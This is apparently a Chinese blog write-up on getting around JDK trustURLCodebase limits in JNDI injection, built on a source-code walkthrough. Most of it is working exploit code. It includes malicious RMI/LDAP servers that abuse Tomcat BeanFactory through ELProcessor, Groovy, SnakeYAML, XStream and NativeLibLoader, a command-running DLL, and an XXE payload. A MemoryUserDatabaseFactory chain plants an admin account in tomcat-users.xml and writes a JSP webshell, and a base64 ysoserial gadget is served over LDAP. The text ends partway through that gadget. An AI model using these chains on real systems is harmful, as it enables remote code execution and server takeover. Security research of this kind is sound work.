- 0 前言
- 1 Java高版本JNDI绕过的源代码分析
-
2 基于本地工厂类的利用方法
-
2.1 org.apache.naming.factory.BeanFactory
- 2.1.1 javax.el.ELProcessor.eval
- 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
- 2.1.3 javax.management.loading.MLet 探测类是否存在
- 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
- 2.1.5 com.thoughtworks.xstream.XStream.fromXML
- 2.1.6 org.mvel2.sh.ShellSession.exec()
- 2.1.7 com.sun.glass.utils.NativeLibLoader
- 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
-
2.1 org.apache.naming.factory.BeanFactory
- 3 基于服务端返回数据流的反序列化RCE
- 4 总结
- 参考
0 前言
利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase
都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。
1 Java高版本JNDI绕过的源代码分析
使用marshalsec开启rmi服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest
使用python开启恶意class文件下载服务端
py -3 -m http.server 8090
jdk 1.8u40下发起RMI请求
将java版本修改为1.8u191
直接被阻拦,需要手动设置com.sun.jndi.rmi.object.trustURLCodebase=true
先给个图说一下JNDI的过程究竟在干嘛
过程大抵就是这样,高版本的阻断在于步骤4,所以先直接说绕过思路:
- 思路一,受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE
- 思路二,执行步骤3时,利用受害者本地的工厂类实现RCE
说完结论,再来看一下高版本和低版本Java的关键不同点。
1.1 思路一的源码分析
调试走到NamingManager.lookup(Name var1)
方法,其源代码如下:
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0)); // 下载Reference的包裹类ReferenceWrapper
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟进lookup方法
var2中的ip和端口是我们指定的rmi服务器地址,执行var2.getInputStream方法后,获得ObjectInput对象var4,再调用var4.readObject方法,这是典型的Java原生反序列化过程,受害者存在可用的gadget时,我们就可以利用这个点实现高版本JNDI的RCE。
1.2 思路二的源码分析
前面的1.8u40时实现jndi攻击后,显示了调用链,跟着调试后进入到NamingManager.getObjectFactoryFromReference
方法中,代码如下
可以看到,从ref中获取codebase后,调用helper对象的loadClass方法从远程下载了ExecTest这个恶意类对象,然后调用了newInstance方法,触发恶意代码。而ref对象实际上是Reference类,该类是从rmi服务器或ldap服务器下载而来。
从对比1.8u40和1.8u191来看,NamingManager.getObjectFactoryFromReference
方法是没有差别的,都先调用helper.loadClass(String factoryName)尝试加载本地的工厂类,出错或找不到指定的工厂类后,再调用helper.loadClass(String className, String codebase)尝试加载远程的工厂类。
这里的helper对象实际上是com.sun.naming.internal.VersionHelper12
的实例对象,如下图所示。
却别就在于VersionHelper12,首先跟进1.8u40下VersionHelper12的loadClass(String className)方法,源代码如下
1.8u40下VersionHelper12
public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader()); // 调用中间的loadClass方法
}
/**
* Package private.
*
* This internal method is used with Thread Context Class Loader (TCCL),
* please don't expose this method as public.
*/
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // 注意是URLClassLoader
return loadClass(className, cl); // 调用中间的loadClass方法
}
- 第一个loadClass(String className),以为着通过getContextClassLoader获取本地ClassLoader,传入中间的loadClass(String className, ClassLoader cl)方法后,再通过反射,从本地寻找工厂类
- 第三个loadClass(String className, String codebase)方法,则创建一个URLClassLoader,传入中间的loadClass方法后,通过反射,会从远程下载工厂类
下面再跟进一下1.8u191版本的VersionHelper12
1.8u191下的VersionHelper12
public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader()); // 调用中间的loadClass方法,从本地获取
}
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) { // 注意这里先进行了是否为可信URL地址的判断!!
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // URLClassLoader
return loadClass(className, cl); // 调用中间的loadClass方法,从远程获取
} else {
return null;
}
}
区别明显在于从远程下载时会验证URL是否可信,但并没有对本地加载工厂类进行限制。所以绕过思路之一,就在于利用本地工厂类实现RCE。
2 基于本地工厂类的利用方法
从本地工厂类实现RCE还有一个具体要求,在NamingManager.getObjectInstance
中,成功得到工厂类factory后,会调用factory.getObjectInstance(ref, name, nameCtx,environment)方法,创建JNDI客户端真正需要的实例对象
也就是说,我们需要找到合适的ObjectFactory类,要求它还实现了getObjectInstance方法,并且能够实现RCE,好在网上各位大神给出了很多答案。
需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的目录名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。
2.1 org.apache.naming.factory.BeanFactory
该类只有一个方法getObjectInstance,但根据需要对源代码进行了简化
需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的类名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。
public class BeanFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {}
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!!
// 从Reference中获取forceString参数
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
// 对forceString参数进行分割
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) { // 使用逗号分割参数
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim(); // 等号后面强制设置为setter方法名
param = param.substring(0, index).trim(); // 等号前面为属性名
} else {}
try {
// 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数是String类型!
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) { // 遍历Reference中的所有RefAddr
ra = e.nextElement();
String propName = ra.getType(); // 获取属性名
// 过滤一些特殊的属性名,例如前面的forceString
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent(); // 属性名对应的参数
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName); // 根据属性名获取对应的方法
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray); // 执行方法,可用用forceString强制指定某个函数
} catch () {}
continue;
}
// 省略
}
}
根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,
该类必须有无参构造方法
并在其中设置一个forceString字段指定某个特殊方法名,该方法执行String类型的参数
通过上面的方法和一个String参数即可实现RCE
2.1.1 javax.el.ELProcessor.eval
恰好有javax.el.ELProcessor满足该条件!
Server端设置如下
pom.xml
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
server端代码如下
package com.bitterz.jndiBypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class TomcatBeanFactoryServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "bitterz=eval"));
// 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper); // 绑定目录名
System.out.println("Server Started!");
}
}
客户端执行请求
2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
groovy中同样存在基于一个String参数触发的方法
pom.xml
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.9</version>
</dependency>
GroovyShellServer.java
package com.bitterz.jndiBypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyClassLoader;
public class GroovyShellServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("evilGroovy", referenceWrapper);
}
}
受害端发起rmi请求,java版本1.8u191
2.1.3 javax.management.loading.MLet 探测类是否存在
浅蓝大师傅又公开了一些其它可利用的类,首先时javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)
由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在
上面出现404,则说明前面对ELProcessor类的加载成功了。
当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求
2.1.4 org.yaml.snakeyaml.Yaml().load(String)
Yaml是做反序列化的,当然也可以实现RCE,通过其反序列化过程即可实现,payload也比较多
这里还需要对SPI机制有一定的了解,先直接给我如何实现恶意jar包的吧
创建一个恶意类,实现ScriptEngineFactory接口
然后在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名
打包编译后,开启http服务,运行RMI恶意服务端,执行lookup,效果如下
2.1.5 com.thoughtworks.xstream.XStream.fromXML
复现失败了,单纯用xstream.fromXML(payload)也没有成功,可能是环境问题。。。。
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
2.1.6 org.mvel2.sh.ShellSession.exec()
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>
2.1.7 com.sun.glass.utils.NativeLibLoader
JDK内置的动态链接库加载工具类,使用其loadLibrary方法,执行链如下
NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);
dll代码如下
#include <stdio.h>
void __attribute__ ((constructor)) my_init_so()
{
FILE *fd = popen("calc", "r");
}
使用gcc编译一个dll文件
gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll
启动RMI Server,然后发起rmi请求,结果如下
public class NativeLibLoaderServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\helloworld\\Desktop\\libcmd"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("dllLoader", referenceWrapper);
}
}
注意这里的路径一定要用路径穿越,具体原因在于System.load前,对输出的路径与另一个路径进行了拼接,源代码就不贴了,调试即可见。
2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
浅蓝师傅提到扫描发现org.apache.catalina.users.MemoryUserDatabaseFactory
这个类也存在利用的可能性,并进步一步进行了研究。
该类的getObjectInstance方法,先获取pathname和readonly两个参数,并调用其setter方法,赋值完成后会调用org.apache.catalina.users.MemoryUserDatabase.open()
方法,而后判断readonly=false,则调用save()
方法
先看其open
方法
从pathName获取url并发起请求,获得xml数据,而后调用digester对xml进行解析,所以这里可以实现XXE。
2.2.1 XXE
开启webserver,并放置一个恶意xml文件如下
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>
当XXE成功时,会向http://127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri
2.2.2 RCE
前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。
在pathname必须是URL的前提下,跟进save方法
注意到先进行了一个isWriteable的判断,跟进该方法
这里pathname是一个URL,catelina_base=c:/xx/apache-tomcat-8/
,这是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/
,此时该路径在Windows下可以直接判定成功。但linux下必须要求目录跳转前的路径必须存在,也就是说需要先在tomcat目录下创建http:/
和http:/127.0.0.1:8888/
这两个目录。
浅蓝师傅使用了org.h2.store.fs.FileUtils#createDirectory(String)
结合BeanFactory进行创建,其代码如下:
private static ResourceRef tomcatMkdirFrist() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:"));
return ref;
}
private static ResourceRef tomcatMkdirLast() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
return ref;
}
创建目录后,继续跟进save
方法,如下
将从pathname下载的xml文件中的roles、groups和users写入文件中,并覆盖给Catalina.base+pathname的文件中。
写入文件的payload如下
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================写入文件================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建http:/127.0.0.1:8888/
目录,在windows下执行效果如下
在linux下必须创建http:/127.0.0.1:8888/
目录,然后再执行写文件的paylaod,效果如下
linux上复现时的步骤和坑:
- 首先使用的rmiserver端代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================1 创建http:/================================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:"));
// ===============================2 创建http:/127.0.0.1:8888/================================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
// ===============================3 写入文件================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
在tomcat中添加的jsp文件为:/webapps/test/1.jsp
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
用到的tomcat-users.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
- 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
- 分三次注释代码,再编译和启动恶意rmi server端,用到的命令
javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java
java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server
,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod - tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给
tomcat/webapps/host-manager/META-INF/context.xml
和tomcat/webapps/manager/META-INF/context.xml
里修改为allow="^.*$"
,以便能够远程访问tomcat的管理界面
最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下
- 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
- 启动恶意rmi server端,代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================写入webshell文件================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
- 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
- 访问webshell
3 基于服务端返回数据流的反序列化RCE
第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。
以常见的CC链举例
- ldap端和http端使用并修改https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
package com.bitterz.jndiBypass;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class serializationServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public static class HttpFileHandler implements HttpHandler {
public HttpFileHandler() {
}
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String uri = httpExchange.getRequestURI().getPath();
InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
if (inputStream == null){
System.out.println("Not Found");
httpExchange.close();
return;
}else{
while(inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, (long)bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
}
} catch (Exception var5) {
var5.printStackTrace();
}
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
/** Payload1: Return Reference Factory **/
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
/** Payload1 end **/
/** Payload2: Return Serialized Gadget **/
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABB